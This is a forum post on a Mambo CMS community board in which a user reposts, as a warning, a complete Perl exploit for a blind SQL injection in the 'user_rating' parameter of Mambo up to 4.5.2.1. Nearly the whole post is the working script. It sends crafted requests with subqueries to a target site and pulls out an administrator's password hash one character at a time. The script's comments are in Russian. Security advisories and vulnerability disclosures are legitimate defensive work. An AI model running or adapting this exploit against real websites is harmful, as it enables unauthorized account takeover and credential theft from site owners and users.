Members: 16,996
Threads: 38,846
Posts: 159,391
Online: 23

Newest Member: Kl_broka@rediffmail.com


Odoo.tv - Outdoor Television


Sedo - Domains kaufen und verkaufen das Projekt mambers.com steht zum Verkauf Besucherstatistiken von mambers.com etracker® Web-Controlling statt Logfile-Analyse

Go Back   Mambers.com > Mambo 4.5.1 > Mambo 4.5.1 Bugs

Reply
 
LinkBack Thread Tools Display Modes
Old 04.07.2005, 03:51   #1 (permalink)
Baby Mamber
 
BillyParadise's Avatar
 
Join Date: Mar 2005
Posts: 16
BillyParadise is on a distinguished road
Send a message via AIM to BillyParadise
Default Mambo "user_rating" Parameter Remote SQL Injection Exploit

Folks, I did a search, but this didn't show up elsewhere. Apologies if this is a duplicate.

Since it's been out for two weeks, thought it should be posted here.

Original Location: http://www.frsirt.com/exploits/20050621.r57mambo.pl.php

-BP



Advisory : FrSIRT/ADV-2005-0777
Rated as : Moderate Risk

#!/usr/bin/perl

### Mambo <= 4.5.2.1, MySQL => 4.1 sql injection exploit by RST/GHC
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### Работает только на MySQL версии 4.1 и выше так как используются
### подзапросы. Также требуется, чтобы был разрешен просмотр
### голосований к новостям.
### Примерное кол-во запросов для получения хеша: 184
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### Сплоит работает долго из-за пауз между запросами так что
### после запуска можете насладиться кружкой кофе... или парой
### кружек в зависимости от вашей скорости =))))
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### (c)oded by 1dt.w0lf , 21.06.05
### http://rst.void.ru , http://ghc.ru
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


use IO::Socket;

if (@ARGV < 3) { &usage; }

$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];

# параметры любой существующей новости
$news_id = 1;
$news_itemid = 1;

$server =~ s!(http:\/\/)!!;

$request = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~] SERVER : $server\r\n";
print " [~] PATH : $path\r\n";
print " [~] USER ID : $member_id\r\n";
print " [~] SEARCHING PASSWORD ... [|]";

while(1)
{
if(&found(47,58)==0) { &found(96,103); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]
---------------------------------------------------------------
USER ID : $member_id
HASH : $allchar
---------------------------------------------------------------
};
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];
$sock1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
printf $sock1 ("GET %sindex.php?option=com_content&task=vote&id=%d&Ite mid=%d&cid=1
&user_rating=1,rating_count=(SELECT/**/if((ascii(substring((SELECT/**/password/**/FROM/
**/mos_users/**/WHERE/**/id=%d),%d,1)))%s,1145711457,0)),lastip=666/* HTTP/1.0\n
Host: %s\nAccept: */*\nConnection: close\n\n",
$path,$news_id,$news_itemid,$member_id,$s_num,$cch eck,$server);
# пауза между запросами необходимая дабы инфа успела обновиться, поиграйте с
# этим значением если сплоит выдает FAILED
sleep 1;
$sock2 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
printf $sock2 ("GET %sindex.php?option=com_content&task=view&id=%d&Ite mid=%d&cid=1
HTTP/1.0\nHost: %s\nAccept: */*\nConnection: close\n\n",
$path,$news_id,$news_itemid,$server);

while(<$sock2>)
{
if (/1145711457/) { return 1; }
}

return 0;
}

sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}

sub usage()
{
&head;
print q(
USAGE
r57mambo.pl [HOST] [/FOLDER/] [USER_ID]

OPTIONS
HOST - Host where mambo installed
FOLDER - Folder where mambo installed
USER_ID - User ID for brute (default is 62 for admin)

E.G.
r57mambo.pl http://blah.com /mambo/ 62
---------------------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}
sub head()
{
print q(
---------------------------------------------------------------
Mambo <= 4.5.2.1, MySQL => 4.1 sql injection exploit by RST/GHC
---------------------------------------------------------------
);
}
__________________
My Joomla Sites include:
Bermuda Properties | WAVE101 | Poker Penny Jar
BillyParadise is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Sponsored Links
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
Mambo Open Source 5.0 Book Series mmx Community Announcements 13 19.09.2005 09:35
Mambo OS Performance; Experienced Mambo Developers required Ritchie Development Discussions 7 14.06.2004 15:23
Mambo and mysite loom001 Mambo 5.0 General Talk 8 28.05.2004 07:49
New mambo fork xMambo scheurer Community Announcements 24 16.05.2004 09:52


All times are GMT +2. The time now is 12:18.

Powered by vBulletin® Version 3.7.2
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
SEO by vBSEO 3.1.0
A vBSkinworks Design
© Copyright 2004-2008 by Arthur Konze Webdesign.